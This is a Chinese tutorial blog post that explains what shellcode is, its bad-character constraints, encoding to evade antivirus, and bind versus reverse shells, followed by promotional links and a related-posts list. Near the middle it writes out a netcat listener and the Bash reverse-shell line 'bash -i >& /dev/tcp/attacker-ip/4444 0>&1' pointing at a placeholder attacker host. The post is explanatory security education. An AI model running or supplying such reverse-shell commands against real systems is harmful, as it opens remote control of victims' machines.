Shell Code:黑客攻击的“利器”

ShellCode原理以及编写 0x0 ShellCode编写注意事原理 1)不能使用字符串的直接偏移 即使你在C/C++代码中定义一个全局变量,一个取值为“Hello world”的字符串,或直接把该字符串作为参数传递给某个函数。但是,编译器会把字符串放置在一个特定的Section中(如.rdata或.data)。 2)不能确定函数的地址(如printf) 在shellcode中,我们却不能以逸待劳了。因为我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载 阅读详情

Shell Code:黑客攻击的“利器”

Shell Code(外壳代码)是黑客攻击中的一个重要组成部分,它是一小段代码,作为利用软件漏洞的有效载荷。Shell Code不是程序,而是自包含的代码。实际上,它们应该在没有上下文的情况下运行。

如何编写Shell Code?

编写Shell Code可以使用高级语言(如C),也可以使用汇编语言。使用高级语言编写Shell Code可以提供可移植性和标准库,但可能会受到语言的限制。使用汇编语言编写Shell Code可以控制每个指令,但是与特定架构相关,没有标准库。此外,还有许多工具和网站提供Shell Code,如Shell Storm等。

Shell Code的属性

Shell Code是自包含的代码,只有代码段可用。Shell Code不应受到坏字符的影响,常见的坏字符包括NULL(\0)、Tab(\t)、Line Feed(\n)、Carriage Return(\r)和Form Feed(\f)。此外,Shell Code不应受到反病毒软件的检测。编码可以用于逃避反病毒软件,并且也是避免坏字符的一种方法。但是,编码会增加Shell Code的大小,因此Shell Code可能会被检测到。

Bind/Reverse Shell Code

攻击的主要步骤之一是控制易受攻击的系统,然后打开后门以开始攻击的放大。

后门通常被攻击者用于在成功利用漏洞后维护对系统的访问。它们允许他们绕过安全措施,在以后的时间内访问系统而不需要经过与初始攻击相同的步骤。后门可以是易受攻击的系统上打开并监听的端口(绑定Shell),也可以是易受攻击的系统向攻击者建立的连接(反向Shell)。在大多数情况下,我们选择反向Shell。

Bind Shell Code是指利用漏洞并放置绑定Shell负载/后门,服务器监听由攻击者设置的端口,攻击者连接到后门,但是如果存在防火墙,则可能会阻止此连接。

Reverse Shell Code是指利用漏洞并放置反向Shell负载/后门,攻击者监听在反向Shell负载中设置的端口,易受攻击的系统会连接到攻击者。其中,Bash反向Shell是一种常见的反向Shell方式。

Bash Reverse Shell

Bash(即Bourne Again SHell)是一种常用于Linux和其他类Unix操作系统上的Unix shell。下面是一个Bash反向Shell的代码示例,

可用于在远程计算机上建立命令Shell。

在攻击者的计算机上启动监听器

nc -nlvp 4444

在目标计算机上,使用Bash与监听器建立连接

bash -i >& /dev/tcp/attacker-ip/4444 0>&1

此代码假定攻击者已使用nc(netcat)实用程序在其计算机上启动了监听器,该实用程序正在侦听指定端口(在本例中为4444)。在目标计算机上执行的第二行代码使用Bash打开一个连接,与监听器建立连接并建立命令Shell。bash -i命令告诉Bash以交互模式运行,这允许攻击者在命令提示符下输入命令。>& /dev/tcp/attacker-ip/4444和0>&1参数将Bash Shell的输入和输出重定向到与监听器的连接中,有效地建立了反向Shell。

结论

Shell Code是黑客攻击中的一个重要组成部分,它可以用作有效载荷来利用软件漏洞。编写Shell Code可以使用高级语言或汇编语言,Shell Code应该是自包含的代码,不受坏字符和反病毒软件的影响。Bind/Reverse Shell Code是黑客攻击中常用的一种方式,可以用于建立易受攻击系统和攻击者之间的后门。在应对黑客攻击时,了解和掌握Shell Code相关知识可以帮助我们更好地防范和应对各种攻击。

之后的文章我会给大家举一些简单shellcode的例子,相信我,这会非常有意思的。

---------------------------END---------------------------

题外话

感谢你能看到最后,给大家准备了一些福利!

感兴趣的小伙伴,赠送全套Python学习资料,包含面试题、简历资料等具体看下方。


👉优快云大礼包🎁:全网最全《Python学习资料》免费赠送🆓!(安全链接,放心点击)

一、Python所有方向的学习路线

Python所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照下面的知识点去找对应的学习资源,保证自己学得较为全面。

img

二、Python兼职渠道推荐*

学的同时助你创收,每天花1-2小时兼职,轻松稿定生活费.
在这里插入图片描述

三、最新Python学习笔记

当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。

img

四、实战案例

纸上得来终觉浅,要学会跟着视频一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。

img

👉优快云大礼包🎁:全网最全《Python学习资料》免费赠送🆓!(安全链接,放心点击)

若有侵权,请联系删除

网络攻防技术——shellcode编写 一、题目 shellcode广泛用于许多涉及代码注入的攻击中。编写shellcode是相当有挑战性的。虽然我们可以很容易地从互联网上找到现有的shellcode,但是能够从头开始编写我们自己的shellcode总是令人兴奋的。shellcode中涉及到几种有趣的技术。本实验室的目的是帮助学生理解这些技术,以便他们能够编写自己的shellcode。 编写shellcode有几个挑战,一个是确保二进制文件中没有0x00,另一个是找出命令中使用的数据的地址。第一个挑战不是很难解决,有几种方法可以解决它。第二个挑战 阅读详情

相关推荐

shellcode编写探究

shellcode是不依赖环境,放到任何地方都可以执行的机器码。shellcode的应用场景很多,本文不研究shellcode的具体应用,而只是研究编写一个shellcode需要掌握哪些知识。

hongduilanjun的博客 1294

Shellcode详解

Shellcode是一种小巧、紧凑的机器代码,通常用于利用软件漏洞或注入攻击中。其名称来源于早期的黑客技术,其中的代码通常会启动一个命令行shell(如Bash或cmd),因此称为“shellcode”。不过,现在shellcode不仅仅用于启动shell,还可以执行各种恶意活动,如下载并执行恶意软件、修改系统设置等。

N阶二进制的博客 4517

AI Agent自主攻击真相:用抓包监控Claude Code网络行为

AI Agent与传统AI助手的本质区别在于,前者从“建议权”升级为“执行权”,这直接改变了安全边界。当工具能够在授权范围内自主执行命令、发起网络请求时,任何错误的判断或恶意提示都可能让Agent走完一整条攻击链路。而抓包技术正是透视Agent行为的最直接手段——通过Wireshark、Charles等工具,开发者可以在网络层记录所有进出流量,识别异常连接与数据外传。本文从基础概念出发,解析AI Agent的执行原理与安全风险,并结合Claude Code场景,演示如何用抓包工具监控其网络行为、识别潜在越权

weixin_34353714的博客 316

【网络资源学习笔记】ShellCode相关内容学习

个人shellcode相关网络资源学习记录

天在等我,菜鸟想飞 3187

用Shell脚本高效管理root权限:检测、改密与批量运维实战

Linux 系统中的 root 权限是最高权限,而 shell 脚本是自动化运维的核心工具。理解权限模型与脚本原理,有助于安全高效地完成环境检测、sudo 配置、密码维护等任务。在服务器管理、CI/CD 流水线、批量巡检等场景中,用 shell 脚本规范化处理 root 权限,既能提升效率,也能降低误操作风险。内容从 shell 脚本基础语法出发,完整演示 root 环境检测、密码修改、远程批量检查的实现流程,并结合常见报错给出排查思路与安全最佳实践,帮助运维人员构建可靠的自动化管理能力。

weixin_29297127的博客 268

OpenCV实战:5分钟搞定图像拼接(附Python代码)

本文通过OpenCV实战教程,详细讲解如何使用Python在5分钟内完成图像拼接。重点介绍`findHomography`函数和单应性矩阵的应用,提供完整的代码示例和常见问题解决方案,帮助开发者快速掌握图像拼接技术。

weixin_26833503的博客 120

AI编程安全陷阱:313MB代码外泄的五大物理坑位

AI编程工具在提供智能补全能力的同时,本质上是一种‘上下文感知型开发代理’,其运行依赖对本地工作区的文件系统访问。当默认启用workspace信任、未限制文件读取范围或忽略Shell/调试环境变量泄露时,极易触发敏感数据批量上传。这类风险并非源于漏洞利用,而是权限模型与工程实践错配所致——如VS Code的trustWorkspace配置、Git配置链式加载、Node.js require.resolve路径遍历等机制,共同构成隐蔽的数据暴露面。实际场景中,.env文件、数据库ER图、JWT令牌甚至PPT架

weixin_42524171的博客 270

使用FloodRisk2插件进行洪水风险评估

入汛以来,长江流域持续的强降雨使得沿岸多地成为洪水风险极高地区,抗洪、抢险、救灾继新冠病毒之后成为又一个攻坚阵地。如何科学地评估洪水风险,是快速决策的关键。 实际生活中,根据风险是否可控,一般将洪水风险大致分为两类:一类是通过数据分析可以得出其发生的可能性和后果,如强降雨引发的区域性洪水、水库/大坝溃决洪水等。这类洪水可以通过有关资料分析和设定一定条件计算得到可能的损失后果,也就是说,风险可以预判。另一类洪水风险基本是未知的,如滑坡堵塞河道形成堰塞湖引发的洪水,无法预知事件发生的地点和规模,具体的洪水风险无

QGISClass的博客 2877

华人辍学博士揪出Claude Code 51万行源码泄露,官方请求下架超8000个GitHub代码库并回应:这次是人为失误,无人被解雇

可能很多非技术领域的人对这个文件并不熟悉,简单来说,source map 的作用是将混淆后的代码映射回原始的、可读性极强的 TypeScript 源代码,原本是开发者用于调试的内部工具,一旦被公开,就意味着 Anthropic 花费大量人力物力研发的核心代码,失去了所有保护。梳理后发现,泄露的不仅是基础代码逻辑,更有 Anthropic 的“核心机密”,包括完整的权限控制模型、bash 安全校验的底层逻辑、44 个尚未上线的功能开关,甚至还有多智能体编排、远程执行等关键技术的实现方式。

2501_91883294的博客 380

Keil5与ARM编译器V5安装指南:从下载到配置全流程解析

本文提供Keil5与ARM Compiler V5的完整安装与配置指南。针对新版Keil5默认不包含V5编译器导致老工程编译失败的问题,详细解析了从软件下载、授权管理到获取并正确安装ARM Compiler V5(AC5)的全流程,确保开发者能顺利搭建兼容老项目的稳定开发环境。

weixin_29158047的博客 874

OpenPose 论文理解

OpenPose: Real-time multi-person keypoint detection library for body, face, hands, and foot estimation paper: Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields link: OpenPose paper...

JustForYou的博客 2万+

Claude Code/Codex AI编码代理越狱入侵实战:1.2万站点工业化攻击检测与防御配置

2026年,网络安全事件揭示AI编码代理(如Claude Code、OpenAI Codex)被大规模滥用,攻击者通过越狱技术(如会话劫持、隐性提示注入)将其改造成全自动入侵工具,成功渗透1.2万+站点。与传统攻击不同,AI代理独立完成资产扫描、漏洞利用、横向移动等全链路操作,攻击流量伪装成正常开发行为,导致传统防护(WAF/IDS)失效。核心漏洞在于AI代理拥有系统权限且安全护栏仅拦截显性指令,而拆分任务、供应链投毒等手段绕过检测。攻击流水线包含越狱初始化、批量侦察、动态漏洞利用等6环节,实现从入

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 559

信号系统核心概念:卷积、傅里叶变换与抽样定理的工程实践指南

信号与系统是理解现代电子、通信与数字处理技术的基石。其核心在于通过数学工具对物理世界进行建模与分析,其中卷积运算揭示了线性时不变系统对任意输入的响应可分解为冲激响应的叠加,这一原理极大提升了系统测试与分析的效率。而傅里叶变换则提供了从时域到频域的映射,将复杂的时域卷积运算转化为频域的简单乘法,是实现频谱分析、滤波设计的关键。抽样定理则架起了模拟与数字世界的桥梁,明确了无失真数字化的条件。这些基础理论共同构成了滤波器设计、音频处理、图像分析及通信系统等广泛工程应用的技术支柱。本文聚焦于卷积与傅里叶变换,结合冲

weixin_30788619的博客 629

解析 Mistral Code 系统提示词泄露样本:安全架构分层与 Agent 工具定义全剖析

**导读**:本文聚焦开源仓库 `system_prompts_leaks` 中捕获的 Mistral Code 系统提示词原文([Mistral/mistral-code.md](https://link.gitcode.com/i/a4585e3bbd8b02b2d775e1fb33d1af9d)),逐层拆解其"身份约束—伦理边界—工具调用"的三段式编排思路,完整呈现 7 个 Agent 工具

gitblog_00031的博客 879

嵌入式工程师成长之路(1)——元件基础(完整版)

为什么你的电路总是“玄学”故障?答案藏在这些元件里! 0欧电阻竟能引发信号反射?5V转3.3V电平匹配失败导致MCU烧毁?电容降压设计让电源“滋滋”响?——这些坑,本文全填平! 优快云硬件领域头部博主十年踩坑经验汇总,覆盖电阻、电容、电感核心难点+高频实战问题,让你从“调试地狱”直通“一次成功”!

云轩阁 2万+

基于深度学习YOLOv11的布匹缺陷检测系统(Python+PySide6界面+训练代码)

YOLOv11模型训练:根据布匹缺陷数据集训练YOLOv11模型,以识别布匹中的各种缺陷,如裂纹、污渍、破损等。PySide6界面设计:设计一个图形用户界面,帮助用户上传布匹图像,并显示模型的检测结果。模型优化与精度提升:通过数据增强、超参数调优等手段提高模型的准确性。本文介绍了如何基于YOLOv11实现布匹缺陷检测系统,并通过PySide6构建了一个图形用户界面。该系统能够自动检测布匹中的各种缺陷,具有较高的效率和精度。

斌擎科技 529

黑客都使用什么编程语言?

信息泄露、源码曝光等事件屡见不鲜,黑客组织好像从未消停过。、再到,黑客组织 Lapsus$ 活跃在各大网站,而其。据外媒报道,英国警方逮捕了与Lapsus$ 黑客组织有关联的7名嫌疑人。他们的年龄在16到21岁,现已经释放,警方表示调查还在继续,但警方并未透露这位主谋是否被抓。与此同时,自称是欧洲最大的黑客协会Chaos计算机俱乐部做了一份调查,其目的是研究黑客们都使用哪些编程语言。在受访者中,有近75%的人表示他们有5年或者5年以上的黑客经验,93%的人5年以上的编程经验。

ZL_1618的博客 175

2024年11月架构设计师案例分析真题回顾,附参考答案、解析及所涉知识点(二)

软考高级系统架构设计师考试包含三个科目:信息系统综合知识、案例分析和系统架构设计论文。考试形式为机考。本文主要回顾2024年下半年(2024-11-10)系统架构设计师考试上午第二科案例分析的题目,同时附带参考解答、解析和所涉知识点。

一几文的编程学习笔记。 1660

编程技能对Cybersecurity-Roadmap的重要性:黑客必须掌握的脚本语言与工具

在网络安全领域,编程技能是构建Cybersecurity-Roadmap的核心支柱,也是黑客从入门到精通不可或缺的关键能力。无论是漏洞分析、渗透测试还是安全自动化,掌握合适的脚本语言与工具都能让安全从业者在复杂的网络环境中快速定位问题、高效执行任务。本文将深入解析编程技能在Cybersecurity-Roadmap中的具体应用,帮助新手理解为什么这些技能是成为专业安全人员的必备条件。 ## 为什

gitblog_00780的博客 457

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

如何快速部署natpass:5分钟搭建私有远程桌面系统

🔥 natpass远程桌面系统是一款功能强大的私有化远程管理工具,支持shell命令行管理和VNC远程桌面访问,让你在任何地方都能安全高效地管理远程主机。无论是居家办公还是远程开发,natpass都能为你提供稳定可靠的连接体验。 ## 🚀 为什么选择natpass远程桌面系统? **natpass**作为新一代主机管理工具,具有以下核心优势: - **私有化部署**:完全掌控数据,保障信

gitblog_01116的博客 613

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

上一篇: Python Web开发基础知识篇
下一篇: pytest 的 request fixture:实现个性化测试需求
Python_P叔
博客等级 码龄3年 5447粉丝 827原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值